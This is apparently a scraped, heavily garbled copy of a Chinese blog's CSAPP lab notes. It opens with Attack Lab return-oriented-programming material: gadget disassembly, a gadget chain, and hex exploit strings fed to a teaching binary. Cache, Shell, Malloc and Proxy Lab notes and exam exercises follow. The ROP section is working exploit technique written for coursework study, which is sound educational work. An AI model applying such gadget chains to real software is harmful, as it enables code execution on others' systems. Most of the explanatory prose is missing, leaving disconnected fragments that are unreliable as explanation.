401a0e: b8 48 88 c7 c3 mov $0xc3c78848,%eax
401a13: c3 retq

0000000000401a14 <addval_394>:
401a14: 8d 87 58 94 90 90 lea -0x6f6f6ba8(%rdi),%eax
401a1a: c3 retq

0000000000401a1b <addval_304>:
401a1b: 8d 87 66 58 90 c3 lea -0x3c6fa79a(%rdi),%eax
401a21: c3 retq

0000000000401a22 <addval_104>:
401a22: 8d 87 58 c3 50 83 lea -0x7caf3ca8(%rdi),%eax
401a28: c3 retq

0000000000401a29 <getval_341>:
401a29: b8 5b 48 89 c7 mov $0xc789485b,%eax
401a2e: c3 retq

0000000000401a2f <getval_278>:
401a2f: b8 41 48 89 c7 mov $0xc7894841,%eax
401a34: c3 retq
0000000000401a35 <setval_371>:
401a35: c7 07 49 89 c7 c3 movl $0xc3c78949,(%rdi)
401a3b: c3 retq

0000000000401a3c <getval_313>:
401a3c: b8 8c fa 58 c1 mov $0xc158fa8c,%eax
401a41: c3 retq

0000000000401a42 <mid_farm>:
401a42: b8 01 00 00 00 mov $0x1,%eax
401a47: c3 retq

popq 58 - 5f ROP

c3 addval_104 58 c3

%rax 0x401a24

%rax %rdi touch2

48 89 c7 movq %rax, %rdi getval_341

c3 0x401a2b

ROP

0x00401860 ( touch2 )
-------
0x00401a2b ( %rax %rdi ) -> gadget 2
-------
0x45374fee ( cookie gadget 1 %rax )
-------
0x00401a24 ( ) -> gadget 1
-------
....
buf ( )
-------

little-endian

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
24 1a 40 00 ee 4f 37 45
2b 1a 40 00 60 18 40 00

./hex2raw < p4.txt > p4r.txt ./rtarget -i p4r.txt

64 0

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
24 1a 40 00 00 00 00 00
ee 4f 37 45 00 00 00 00
2b 1a 40 00 00 00 00 00
60 18 40 00 00 00 00 00

cookie ascii
%rdi touch3 movl

andb %al,%al 2 8 gadget

cookie ascii
0x45374fee -> 34 35 33 37 34 66 65 65

gadget

0000000000401a08 <start_farm>:
401a08: b8 01 00 00 00 mov $0x1,%eax
401a0d: c3 retq

0000000000401a0e <getval_440>:
401a0e: b8 48 88 c7 c3 mov $0xc3c78848,%eax
401a13: c3 retq

0000000000401a14 <addval_394>:
401a14: 8d 87 58 94 90 90 lea -0x6f6f6ba8(%rdi),%eax
401a1a: c3 retq

0000000000401a1b <addval_304>:
401a1b: 8d 87 66 58 90 c3 lea -0x3c6fa79a(%rdi),%eax
401a21: c3 retq

0000000000401a22 <addval_104>:
401a22: 8d 87 58 c3 50 83 lea -0x7caf3ca8(%rdi),%eax
401a28: c3 retq

0000000000401a29 <getval_341>:
401a29: b8 5b 48 89 c7 mov $0xc789485b,%eax
401a2e: c3 retq

0000000000401a2f <getval_278>:
401a2f: b8 41 48 89 c7 mov $0xc7894841,%eax
401a34: c3 retq

0000000000401a35 <setval_371>:
401a35: c7 07 49 89 c7 c3 movl $0xc3c78949,(%rdi)
401a3b: c3 retq

0000000000401a3c <getval_313>:
401a3c: b8 8c fa 58 c1 mov $0xc158fa8c,%eax
401a41: c3 retq

0000000000401a42 <mid_farm>:
401a42: b8 01 00 00 00 mov $0x1,%eax
401a47: c3 retq
0000000000401a48 <add_xy>:
401a48: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401a4c: c3 retq

0000000000401a4d <getval_349>:
401a4d: b8 89 c1 18 c0 mov $0xc018c189,%eax
401a52: c3 retq

0000000000401a53 <addval_166>:
401a53: 8d 87 48 89 e0 c3 lea -0x3c1f76b8(%rdi),%eax
401a59: c3 retq

0000000000401a5a <getval_106>:
401a5a: b8 89 ca 91 c3 mov $0xc391ca89,%eax
401a5f: c3 retq

0000000000401a60 <getval_330>:
401a60: b8 89 ca a4 db mov $0xdba4ca89,%eax
401a65: c3 retq

0000000000401a66 <addval_260>:
401a66: 8d 87 89 d6 38 c0 lea -0x3fc72977(%rdi),%eax
401a6c: c3 retq

0000000000401a6d <addval_114>:
401a6d: 8d 87 8d d6 90 90 lea -0x6f6f2973(%rdi),%eax
401a73: c3 retq

0000000000401a74 <setval_481>:
401a74: c7 07 8d c1 90 c3 movl $0xc390c18d,(%rdi)
401a7a: c3 retq

0000000000401a7b <setval_470>:
401a7b: c7 07 89 d6 92 90 movl $0x9092d689,(%rdi)
401a81: c3 retq

0000000000401a82 <getval_418>:
401a82: b8 8a 48 99 e0 mov $0xe099488a,%eax
401a87: c3 retq

0000000000401a88 <setval_253>:
401a88: c7 07 89 d6 08 c9 movl $0xc908d689,(%rdi)
401a8e: c3 retq

0000000000401a8f <setval_227>:
401a8f: c7 07 8b c1 20 db movl $0xdb20c18b,(%rdi)
401a95: c3 retq
0000000000401a96 <setval_110>:
401a96: c7 07 89 c1 20 c9 movl $0xc920c189,(%rdi)
401a9c: c3 retq

0000000000401a9d <setval_309>:
401a9d: c7 07 d8 4c 89 e0 movl $0xe0894cd8,(%rdi)
401aa3: c3 retq

0000000000401aa4 <getval_136>:
401aa4: b8 89 c1 91 c3 mov $0xc391c189,%eax
401aa9: c3 retq

0000000000401aaa <setval_319>:
401aaa: c7 07 89 d6 91 c3 movl $0xc391d689,(%rdi)
401ab0: c3 retq

0000000000401ab1 <addval_193>:
401ab1: 8d 87 a9 ca 90 c3 lea -0x3c6f3557(%rdi),%eax
401ab7: c3 retq

0000000000401ab8 <addval_471>:
401ab8: 8d 87 89 ca c4 c9 lea -0x363b3577(%rdi),%eax
401abe: c3 retq

0000000000401abf <setval_289>:
401abf: c7 07 89 ca 48 db movl $0xdb48ca89,(%rdi)
401ac5: c3 retq

0000000000401ac6 <addval_482>:
401ac6: 8d 87 89 ca 38 c0 lea -0x3fc73577(%rdi),%eax
401acc: c3 retq

0000000000401acd <addval_125>:
401acd: 8d 87 08 89 e0 c3 lea -0x3c1f76f8(%rdi),%eax
401ad3: c3 retq

0000000000401ad4 <getval_332>:
401ad4: b8 09 c1 90 c3 mov $0xc390c109,%eax
401ad9: c3 retq

0000000000401ada <addval_385>:
401ada: 8d 87 48 8b e0 90 lea -0x6f1f74b8(%rdi),%eax
401ae0: c3 retq

0000000000401ae1 <setval_263>:
401ae1: c7 07 4c 89 e0 90 movl $0x90e0894c,(%rdi)
401ae7: c3 retq

0000000000401ae8 <getval_187>:
401ae8: b8 4b 89 d6 c1 mov $0xc1d6894b,%eax
401aed: c3 retq

0000000000401aee <addval_462>:
401aee: 8d 87 89 ca c4 d2 lea -0x2d3b3577(%rdi),%eax
401af4: c3 retq

0000000000401af5 <getval_109>:
401af5: b8 c9 c1 90 c3 mov $0xc390c1c9,%eax
401afa: c3 retq

0000000000401afb <addval_238>:
401afb: 8d 87 89 d6 94 d2 lea -0x2d6b2977(%rdi),%eax
401b01: c3 retq

0000000000401b02 <setval_404>:
401b02: c7 07 a9 d6 20 d2 movl $0xd220d6a9,(%rdi)
401b08: c3 retq

0000000000401b09 <getval_469>:
401b09: b8 ad 89 ca 90 mov $0x90ca89ad,%eax
401b0e: c3 retq

0000000000401b0f <getval_291>:
401b0f: b8 03 48 89 e0 mov $0xe0894803,%eax
401b14: c3 retq

0000000000401b15 <addval_345>:
401b15: 8d 87 89 c1 84 d2 lea -0x2d7b3e77(%rdi),%eax
401b1b: c3 retq

0000000000401b1c <setval_424>:
401b1c: c7 07 c4 4c 89 e0 movl $0xe0894cc4,(%rdi)
401b22: c3 retq

( @yaoxiuh)

1. rsp
2. ( ) + (cookie stack ) pop

3. rdi

4. touch3
5. cookie stack

6. \0 00000000

%rdi

mov %rsp, %rax 48 89 e0 c3 0x401b11


mov %rax, %rdi 48 89 c7 c3 0x401a2b
pop %rax 58 c3 0x401a24
constant 0x48
movl %eax, %ecx 89 c1 20 c9 c3 0x401a98 (20 c9 )
movl %ecx, %edx 89 ca 28 c0 c3 0x401ac8 (38 c0 )
movl %edx, %esi 89 d6 38 c0 c3 0x401a68 (38 c0 )
lea (%rdi, %rsi, 1), %rax 0x401a48
mov %rax, %rdi 48 89 c7 c3 0x401a2b
touch3
cookie

%rsp

cookie 9 8 byte 0x48 72

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
11 1b 40 00 00 00 00 00
2b 1a 40 00 00 00 00 00
24 1a 40 00 00 00 00 00
48 00 00 00 00 00 00 00
98 1a 40 00 00 00 00 00
c8 1a 40 00 00 00 00 00
68 1a 40 00 00 00 00 00
48 1a 40 00 00 00 00 00
2b 1a 40 00 00 00 00 00
6e 19 40 00 00 00 00 00
34 35 33 37 34 66 65 65
00 00 00 00 00 00 00 00
./hex2raw < p5.txt > p5r.txt ./rtarget -i p5r.txt

ROP

%rsp

# CSAPP # # # Attack

/ CSAPP II Bomb Lab CSAPP IV Cache Lab 0


© 2013 - 2018 ♥ wdxtub

Hexo | - NexT.Mist
& | 2
! " # ☼ % & '

CSAPP IV Cache Lab


( 2016-04-16 | ) 2017-08-03 | * Technique | + | ,
- 2,933 | . 11

-
-

-
-
-

-
-

I Data Lab -
II Bomb Lab - gdb
III Attack Lab -

IV Cache Lab -
V Shell Lab - shell
VI Malloc Lab -
VII Proxy Lab -

trace

csim.c trans.c make clean make

int foo(unsigned int u) {


return (u > -1) ? 1 : 0;
}

u -1 u >

int_max 0

2
int main() {
int* a = malloc(100*sizeof(int));
for (int i=0; i < 100; i++) {
a[i] = i / a[i];
}
free(a);
return 0;
}

a main

int main() {
char w[strln("C programming")];
strcpy(w, "C programming");
printf("%s\n", w);
return 0;
}

strlen \0

struct ht_node {
int key;
int data;
};
typedef struct ht_node* node;

node makeNnode(int k, int e) {


node curr = malloc(sizeof(node));
curr->key = k;
curr->data = e;
}

node

5
char *strcdup(int n, char c){
char dup[n+1];
int i;
for (i = 0; i < n; i++)
dup[i] = c;
dup[i] = '\0';
char *A = dup;
return A;
}

strcdup A

#define IS_GREATER(a, b) a > b


inline int isGreater(int a, int b) {
return a > b ? 1 : 0;
}
int m1 = IS_GREATER(1, 0) + 1;
int m2 = isGreater(1, 0) + 1;

IS_GREATER m1 1 > 0+1 = 0

#define NEXT_BYTE(a) ((char *)(a + 1));

int a1 = 54; // &a1 = 0x100


long long a2 = 42; // &a2 = 0x200
void* b1 = NEXT_BYTE(&a1);
void* b2 = NEXT_BYTE(&a2);

b1 0x104

b2 0x208

byte

80
GDB

gdbtui <binary>

layout split

valgrind
gcc -g

valgrind --leak-check=full

b bits hit, miss eviction

s, b, E LRU(Least Recently Used)

trace valgrind --log-fd=1 --tool=lackey -v --

trace-mem=yes ls -l ls -l
[ ] , I

M +

S
L
64 16
valgrind trace hit, miss eviction

csim-ref

1.

2.
3. cache
4.

5.

cache_line cache line

typedef struct
{
int valid;
int tag;
int time_stamp;
} cache_line;

cache[S][E] S = 2s set

E set cache line

./csim [-hv] -s <s> -E <E> -b <b> -t <tracefile>

getopt() #include

<unistd.h> CMU #include <getopt.h>

man 3 getopt

trace fscanf

man fscanf

cache malloc

malloc free malloc

free

some_pointer_you_malloced = malloc(sizeof(int));
Free(some_pointer_you_malloced);
Free(some_pointer_you_malloced);

32 x 32

64 x 64
61 x 67

1KB
directly mapped E=1

Block size 32 b=5


32 set s=5

64 x 64 miss

61 x 67

8 24 32 x 32 64 x 64

block 8 int 32 x 32
set 8x8
1 7

32 x 32 miss 300

64 x 64 miss 1300
5 1 8x8 4x
4 1300 4
4 conflict miss

12 4

8x8 8x8 4x4

conflict miss 4 buffer


8 conflict miss

cache blocking blocking

-Werror warning
man <function-name>

32x32, 64x64, 61x67


./driver.py tar autolab

locality

The memory hierarcy creates a large pool of storage that costs as much as the cheap storage near the bottom,
but that serves data to programs at the rate of the fast storage near the top.

# CSAPP # # # Cache

1 CSAPP III Attack Lab CSAPP V Shell Lab 2

© 2013 - 2018 ♥ wdxtub


Hexo | - NexT.Mist
& | 0
! " # ☼ % & '

CSAPP V Shell Lab


( 2016-04-16 | ) 2017-08-03 | * Technique | + | ,
- 3,894 | . 14

shell shell

-
-

-
-
-

-
-

-
-

I Data Lab -
II Bomb Lab - gdb

III Attack Lab -


IV Cache Lab -
V Shell Lab - shell
VI Malloc Lab -
VII Proxy Lab -

shell
Exceptional Control Flow

man pages

sigemptyset()

sigaddset()

sigprocmask()

sigsuspend()

waitpid()

open()

dup2()

setpgid()

kill()

tsh.c shell

void eval(char *cmdline) 300

void sigchld_handler(int sig) SIGCHLD


void sigtstp_handler(int sig) SIGTSTP(ctrl-z)

void sigint_handler(int sig) SIGINT(ctrl-c)

tsh>
tsh>

name name

tsh> /bin/cat < foo > bar

tsh> jobs > foo

ctrl-c ctrl-z SIGINT(SIGTSTP)

&

job ID(PID) job ID(JID) tsh JID % %5 JID


5 5 PID 5

quit shell
jobs

bg job job SIGCONT job PID JID


fg job job SIGCONT job PID JID

tsh job catch tsh

JID

make ./tsh tshref

trace ./runtrace

#
./runtrace -h

#
./runtrace -f trace05.txt -s ./tsh

./sdriver

#
./sdriver -h

#
./sdriver
./sdriver

trace

Shell
shell

1. shell jobs

2. shell fork

/bin/ls -l -d

job

& job /bin/ls -l -d & shell job


shell job

int main(int argc, char *argv[]) /bin/ls -l -d

argc == 3
argv[0] == ''/bin/ls''
argv[1] == ''-l''
argv[2] == ''-d''

job control / (running, stopped, or terminated)


ctrl-c SIGINT

ctrl-z SIGTSTP

SIGCONT

jobs

bg job
bg job

fg job

I/O redirection

tsh> /bin/ls > foo

tsh> /bin/cat < foo

sleep()

while(1);

sigsuspend

waitpid

terminal group

waitpid , kill , fork , execve , setpgid , sigprocmask sigsuspend waitpid

WUNTRACED WNOHANG

man

signal handler SIGINT SIGTSTP

kill -pid

shell eval sigchold handler

eval fork sigprocmask SIGCHLD, SIGINT SIGTSTP

addjob

exec

handler shell 8.5.6

top , less , vi , emacs /bin/cat , /bin/ls ,

/bin/ps , /bin/echo

shell fork execve setpgid(0, 0)

shell ctrl-c

SIGINT

tshref runtrace
tshref id runtrace

trace

eval

token

exit(0);

jobs listjobs

token infile outfile

outfile
outfile

stdout file descriptor


flag man open

FG BG JID PID

sigsuspend

. -> -

> .

./runtrace -f trace00.txt -s ./tsh


./runtrace -f trace00.txt -s ./tshref
./runtrace -f trace01.txt -s ./tsh
./runtrace -f trace01.txt -s ./tshref
mask
signal handler

./sdriver 60/100 trace08.txt


fatal SIGINT ./runtrace -f trace08.txt -s ./tsh

SIGCHLD 80/100

trace22.txt I/O

redirection(input)

shell eval sigchold handler

eval handler

jobs

setpgid(0,0) execve

dups STDIN

flag

trace15.txt

csapp.h tsh.c

: man
man
tar zxvf manpages-zh-1.5.1.tar.gz
cd manpages-zh-1.5.1
./configure --prefix=/usr/local/zhman --disable-zhtw
make && make install

Mac groff

brew install homebrew/dupes/groff

/etc/man.conf NROFF

NROFF preconv -e UTF8 | /usr/local/bin/nroff -Tutf8 -mandoc -c

shell bash ~/.bashrc zsh


~/.zshrc

alias cman='man -M /usr/local/zhman/share/man/zh_CN'

source .zshrc cman cman kill


man TLDR
shell
shell

Mac/Linux man

TLDR
# Shell # CSAPP # #

1 CSAPP IV Cache Lab CSAPP VI Malloc Lab 2

© 2013 - 2018 ♥ wdxtub


Hexo | - NexT.Mist
& | 0
! " # ☼ % & '

CSAPP VI Malloc Lab


( 2016-04-16 | ) 2017-08-03 | * Technique | + | ,
- 3,282 | . 12

malloc, free, realloc, calloc

gdb debug

-
-

-
-
-
-

-
-
-

I Data Lab -
II Bomb Lab - gdb

III Attack Lab -


IV Cache Lab -
V Shell Lab - shell
VI Malloc Lab -
VII Proxy Lab -

malloc , free , realloc , calloc

mm.c

int mm_init(void);
void *malloc(size_t size);
void free(void *ptr);
void *realloc(void *ptr, size_t size);
void *calloc(size_t nmemb, size_t size);
void mm_checkheap(int);

mm-naive.c mm-textbook.c implicit list allocator

mm-init

mem.init 0 -1

malloc size 8 byte

free ptr free(NULL)

realloc

ptr NULL malloc(size)

size 0 free(ptr) NULL


ptr NULL size ptr

block
calloc nmemb size

mm_checkheap exit

mm_heapchecker(__Line__);

memlib.c

void *mem_sbrk(int incr) incr

void *mem_heap_lo(void)

void *mem_heap_hi(void)

size_t mem_heapsize(void)

size_t mem_pagesize(void) page size

head checker

(implicit list, explicit list, segregated list)

Check epilogue and prologue blocks


Check each block’s address alignment

Check heap boundaries


Check each block’s header and footer: size(minimum size, slignment), previous/net allocate/free bit

consistency, header and footer matching each other

Check coalescing: no two consecutive free blocks in the heap


free list(explicit list, segregated list)

All next/previous pointer are consistent (is A’s next pointer points ot B, B’s previous pointer should
point to A)

All free list pointers points between mem_heap_lo() and mem_heap_hi()

Count free blocks by iterating through every block and traversing free list by pointers and see if they
match

All blocks in each list bucket fall within bucket size range(segregated list)

mm.h mm.c static

mm.c array, tree list struct integer, float pointer

8-byte
explcit free list

64 8

sizeof(size_t) == 8

gprof

free block implicit free list, explicit free list, segregated free list

free block first fit/next fit, blocks sorted by address with first fit, best fit

implicit free list mm-textbook.c explicit free list segregated list

mdriver.c 12

-p

-t <tracedir>

-f <tracefile>

-c <tracefile> 1

-h

-l malloc

-V

-v <verbose level>

-d <i> 0,1,2

-D -d2

-s <s> s

23 2 64
8 4
mm-textbook.c 4

mm-naive.c

mm-textbook.c

heap checker

heap checker

mm-textbook.c

100 90

#define NUM_ENTRIES 100

#define twice(x) 2*x

twice(x+1) 2x+2 2x+1

#define twice(x) (2*(x))

malloc

header payload size, valid


C

<type_a>* <type_b>*

int 4 char
1 32 64

<type_a>* integer / unsigned int


8

integer / unsigned int <type_a>*


type_a* pointer = ...;
(void *) pointer1 = (void *)(pointer + a);

pointer1 = pointer + (a * sizeof(type_a))

lea (pointer, a, sizeof(type_a)), pointer1

void *

int *ptr1 = malloc(sizeof(int));


*ptr1 = 0xdeadbeef;

int val1 = *ptr1;


int val2 = (int) *((char *) ptr1);

val1 val2

val1 0xdeadbeef val2

ptr1 char 0xef

int ffffff 0xffffffef

Malloc

malloc / calloc / realloc

free
sbrk
payload

framentation (internal vs. external)


colescing

Bi-directional
Immediate vs. Deferred

paylaod block size

void *m1 = malloc(3);


void *m2 = malloc(3);

m1 m2 8 bytes 5 bytes

block
block

block free
malloc/free
free size

block

block block block free


malloc/free

block
block free allocated
# CSAPP # # # Malloc

1 CSAPP V Shell Lab CSAPP VII Proxy Lab 2

© 2013 - 2018 ♥ wdxtub


Hexo | - NexT.Mist
& | 0
! " # ☼ % & '

CSAPP VII Proxy Lab


( 2016-04-16 | ) 2017-08-03 | * Technique | + | ,
- 2,215 | . 8

tomcat tomcat

-
-

-
-
-

-
-

-
-

I Data Lab -
II Bomb Lab - gdb

III Attack Lab -


IV Cache Lab -
V Shell Lab - shell
VI Malloc Lab -
VII Proxy Lab -

1. Sequential Proxy: HTTP

2. Concurrent Proxy:
3. Cache Web Objects: LRU

curl --proxy 128.2.220.15:45962 http://www.cs.cmu.edu

Sequential Web Proxy


HTTP/1.0 GET

$ ./port-for-user.pl dawang

+1

$ ./proxy 12345

HTTP

GET http://www.cmu.edu/hub/index.html HTTP/1.1

www.cmu.edu

/hub/index.html
HTTP \r\n \r\n

header

Host : Host: www.cmu.edu

User-Agent : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120305

Firefox/10.0.3

Connection : Connection: close

Proxy-Connection : Proxy-Connection: close

Multiple Concurrent Requests


POSIX pthread_detach(pthread_self());

open_clientfd open_listenfd

Caching Web Objects


LRU

MAX_CACHE_SIZE = 1 MiB web metadata


MAX_OBJECT_SIZE = 100 KiB

T MAX_CACHE_SIZE + T * MAX_OBJECT_SIZE

Telnet: ssh HTTP header

man telnet
telnet www.wdxtub.com

GET http://www.wdxtub.com HTTP/1.0

cURL: HTTP

curl http://www.wdxtub.com

curl --proxy lemonshark.ics.cs.cmu.edu:3092 http://www.wdxtub.com

netcat : telnet

nc catshark.ics.cs.cmu.edu 12345

GET http://www.cmu.edu/hub/index.html HTTP/1.0

HTTP

URL
ASCII

HTTP/1.0

SIGPIPE

Robust I/O package read , write , fread , fwrite

read socket -1 ECONNRESET

write socket -1 EPIPE


Makefile

Header

Cache

proxy server TCP gethostbyname gethostbyaddr DNS

server DNS ip struct struct

mutex

Signal(SIGPIPE, SIG_IGN); SIGPIPE

socket SIGPIPE

stackoverflow broken pipe errno

EPIPE broken pipe errno ECONNRESET

HTTP/1.1 connection keep-alive TCP

TCP proxy client header

Connection: keep-alive Proxy-Connection: keep-alive Connection:

close Proxy-Connection: close

detach join

header Content-Length body

body Transfer Encoding

body socket

ubuntu

cat /proc/sys/fs/file-max proxy


ubuntu pid cat /proc/$pid/fd

/ CSAPP
# CSAPP # # # Proxy

1 CSAPP VI Malloc Lab 2

© 2013 - 2018 ♥ wdxtub

Hexo | - NexT.Mist
& | 0
! " # ☼ % & '

CSAPP
( 2016-05-01 | ) 2017-08-03 | * Technique | + | ,
- 3,889 | . 16

(Exited)
malloc malloc

exec

exec 0 1

ELF .data

fork open file struct

fork file descriptor table


SIGKILL
.o .a

cache line size compulsory miss


int *(*f[3])(); an array of pointers to functions that return pointers to int

User stack ELF

header footer payload

IO fork
IO fork

1
fork , exec , wait printf printf stdout

(flushed)

int global_x = 0;

int main(int argc, char *argv[])


{
global_x = 17;

// fork
if (!fork()) {
//
global_x++;
printf("Child: %d\n", global_x);
}
else
{
//
wait(NULL);
global_x--;
printf("Parent: %d\n", global_x);
}

return 0;
}

fork fork global_x

1 18 1 16
Child: 18
Parent: 16

wait

wait

wait

18 16.

int global_x = 0;

int main(int argc, char *argv[])


{
global_x = 17;

// fork
if (!fork())
{
global_x++;
// exec
execl("./my_child", "./my_child", NULL);
printf("Child finished\n");
}
else
{
wait(NULL);
global_x--;
printf("Parent: %d\n", global_x);
}

return 0;
}

// my_child
int global_x;

int main(int argc, char *argv[])


{
printf("Child: %d\n", global_x);

return 0;
return 0;
}

my_child global_x exec 18

Child: 0 18

pid_t pid;
int counter = 2;

void handler1(int sig)


{
counter = counter - 1;
printf("%d", counter);
fflush(stdout);
exit(0);
}

int main()
{
signal(SIGUSR1, handler1);
printf("%d", counter);
fflush(stdout);

if ((pid = fork()) == 0)
{
while (1) {};
}

kill(pid, SIGUSR1);
waitpid(-1, NULL, 0);
counter = counter + 1;
printf("%d", counter);
exit(0);
}

fork signal handler


213
#define N 32

void *pointers[N];
int i;

for (i = 0; i < N; i++)


pointers[i] = malloc(4);

for (i = 0; i < N; i++)


free(pointers[i]);

for (i = 0; i < N; i++)


pointers[i] = malloc(56);

malloc implicit list header 8 footer block 8

8 first-fit sbrk 8

block

sbrk

(8 + 8) × 32 + (8 + 56) × 32 = 2560 bytes

8 header 8

header

(8 + 56) × 32 = 2048

header

(8 + 8) × 32 = 512
sbrk

56 × 32 ÷ (16 × 32 + 64 × 32) = 7/10

sbrk 64

sbrk

(8 + 56) × 32 = 2048 bytes

header

(8 + 56) × 32 = 2048

header

sbrk

56 × 32 ÷ (64 × 32) = 7/8


4KB 32 1-level 2-level

2-level

page directory page table 4KB

Page directory

32 32 4 4K 4K/4 = 1K = 1024

1024 page table

Page table

32 32 4 4K 4K/4 = 1K = 1024

1024

32 4KB 12 20 10

Page directory page table

1 page directory 1024 page table 4KB + 4MB

1-level

32 4KB 12 20

220 = 1, 048, 576

Page table

4B 1,048,576 4MB(4,194,304B)
4B 1,048,576 4MB(4,194,304B)

2-level 1-level 1-level

2-level 2-

level

page directory unallocated ,

stack , heap , text and data kernel memory

+---------------------------+ 0xFFFFFFFF
| 9MB Stack |
+---------------------------+
| ... Unused |
+---------------------------+
| 6MB Heap |
+---------------------------+
| 4MB Unused |
+---------------------------+
| 12MB Text and Data |
+---------------------------+
| 16MB Kernel Memory |
+---------------------------+ 0x00000000

page directory 0 0x00000000 page


directory 4MB

----------------------
| 0 | kernel memory |
|--------------------|
| 1 | kernel memory |
|--------------------|
| 2 | kernel memory |
|--------------------|
| 3 | kernel memory |
|--------------------|
| 4 | text and data |
|--------------------|
| 5 | text and data |
|--------------------|
| 6 | text and data |
|--------------------|
|--------------------|
| 7 | unallocated |
|--------------------|
| 8 | heap |
|--------------------|
| 9 | heap |
|--------------------|
| 10 | unallocated |
|--------------------|
| 11 | unallocated |
|--------------------|
| 12 | unallocated |
|--------------------|
|....| unallocated |
|--------------------|
|n-12| unallocated |
|--------------------|
|n-11| unallocated |
|--------------------|
|n-10| unallocated |
|--------------------|
| n-9| unallocated |
|--------------------|
| n-8| unallocated |
|--------------------|
| n-7| unallocated |
|--------------------|
| n-6| unallocated |
|--------------------|
| n-5| unallocated |
|--------------------|
| n-4| unallocated |
|--------------------|
| n-3| stack |
|--------------------|
| n-2| stack |
|--------------------|
| n-1| stack |
----------------------

TLB

1. two way associative TLB


1. two way associative TLB

2. TLB 8
3. 2 8

4. 2 16

TLB

0x7E85 ?

0xD301 ?

? 0x3020

0xD040 ?

? 0x5830
TLB TLB Valid
0

0x7E85

# 16
0x7E85
# 2
0111 1110 1000 0101
# 2^8 8 VPN VPO
# VPO PPO
# TLB 4 set 2
#
01 1111 10 1000 0101

# 6 TLB tag 2 TLB index


# 6 TLB tag 2 TLB index
# tag
0x1F
# index
2
# TLB
# index 2 tag 0x1F
0x95
# VPO
0x9585

0xD301 0xD040 TLB

0x3020 8

TLB 0x30 Valid 1 set 0 TLB index


0 Tag 0x13 01 0011 00 0100 1100 0010 0000

0x4C20

0x7E85 0x9585

0xD301 —

0x4C20 0x3020

0xD040 —

— 0x5830

// main.c
int x = 5;

int y;
int y;
static int z = 3;

int main()
{
printf("%x\n", z());
x = 0xdeadbeef;
printf("%x\n", z());
}

// foo.c
short x;
int y = 0x12345678;

int z()
{
return y;
}

---------------------------------------------------------------
| File | Symbol | Strength/scope | Value | ELF section |
|-------------------------------------------------------------|
| | x | strong global | 5 | .data |
| |----------------------------------------------------|
| | y | weak global | - | .data |
| main.o |----------------------------------------------------|
| | z | local | 3 | .data |
| |----------------------------------------------------|
| | main | strong global | - | .text |
|-------------------------------------------------------------|
| | x | weak global | - | .data |
| |----------------------------------------------------|
| foo.o | y | strong global | 0x12345678 | .data |
| |----------------------------------------------------|
| | z | strong global | - | .text |
---------------------------------------------------------------

2
// main.c
#include <stdio.h>

static int a = 1;
int b = 2;
int c;

int main()
{
int c = 3;

foo();
printf("a=%d, b=%d, c=%d\n", a, b, c);
return 0;
}

// foo.c
int a, b, c;

void foo()
{
a = 4;
b = 5;
c = 6;
}

a=1 , b=5 , c=3

a static 1 b main
strong foo b main b b 5 c 3.

read() write() foo.txt

ABCDEFG

//
void read_and_print_one(int fd)
{
char c;
read(fd, &c, 1);
printf("%c", c);
fflush(stdout);
fflush(stdout);
}

int main(int argc, char *argv[])


{
// file descriptor
int fd1 = open("foo.txt", O_RDONLY);
int fd2 = open("foo.txt", O_RDONLY);
read_and_print_one(fd1); // fd1 A
read_and_print_one(fd2); // fd2 A

if (!fork()) // fork fd
{
read_and_print_one(fd2); // fd2 B
read_and_print_one(fd2); // fd2 C
close(fd2); // fd2
fd2 = dup(fd1); // fd2 fd1
read_and_print_one(fd2); // fd1/2 B
}
else
{
wait(NULL);
read_and_print_one(fd1); // fd1/2 C
read_and_print_one(fd2); // fd1/2 D
printf("\n");
}

close(fd1);
close(fd2);
return 0;
}

AABCBCD foo.txt

id
myid (race)

//
void *foo(void *vargp)
{
int myid;

myid = *((int *)vargp);


myid = *((int *)vargp);
Free(vargp);
printf("Thread %d\n", myid);
}

int main()
{
pthread_t tid[2];
int i, *ptr;

for (i = 0; i < 2; i++)


{
ptr = Malloc(sizeof(int));
*ptr = i;
Pthread_create(&tid[i], 0, foo, ptr);
}
Pthread_join(tid[0], 0);
Pthread_join(tid[1], 0);
}

//
void *foo(void *vargp)
{
int myid;
myid = *((int *)vargp);
printf("Thread %d\n", myid);
}

int main()
{
pthread_t tid[2];
int i;

for (i = 0; i < 2; i++)


Pthread_create(&tid[i], NULL, foo, &i);
Pthread_join(tid[0], NULL);
Pthread_join(tid[1], NULL);
}

myid
//
void *foo(void *vargp)
{
int myid;
myid = (int)vargp;
printf("Thread %d\n", myid);
}

int main()
{
pthread_t tid[2];
int i;

for (i = 0; i < 2; i++)


Pthread_create(&tid[i], 0, foo, i);
Pthread_join(tid[0], 0);
Pthread_join(tid[1], 0);
}

//
sem_t s; // Semaphore s

void *foo(void *vargp)


{
int myid;
P(&s);
myid = *((int *)vargp);
V(&s);
printf("Thread %d\n", myid);
}

int main()
{
pthread_t tid[2];
int i;

sem_init(&s, 0, 1); // 1

for (i = 0; i < 2; i++)


Pthread_create(&tid[i], 0, foo, &i);

Pthread_join(tid[0], 0);
Pthread_join(tid[0], 0);
Pthread_join(tid[1], 0);
}

//
sem_t s; // Semaphore s

void *foo(void *vargp)


{
int myid;
myid = *((int *)vargp);
V(&s);
printf("Thread %d\n", myid);
}

int main()
{
pthread_t tid[2];
int i;

sem_init(&s, 0, 0); // 0

for (i = 0; i < 2; i++)


{
Pthread_create(&tid[i], 0, foo, i);
P(&s);
}
Pthread_join(tid[0], 0);
Pthread_join(tid[1], 0);
}
# CSAPP # #

1 2

© 2013 - 2018 ♥ wdxtub

Hexo | - NexT.Mist
& | 0

You might also like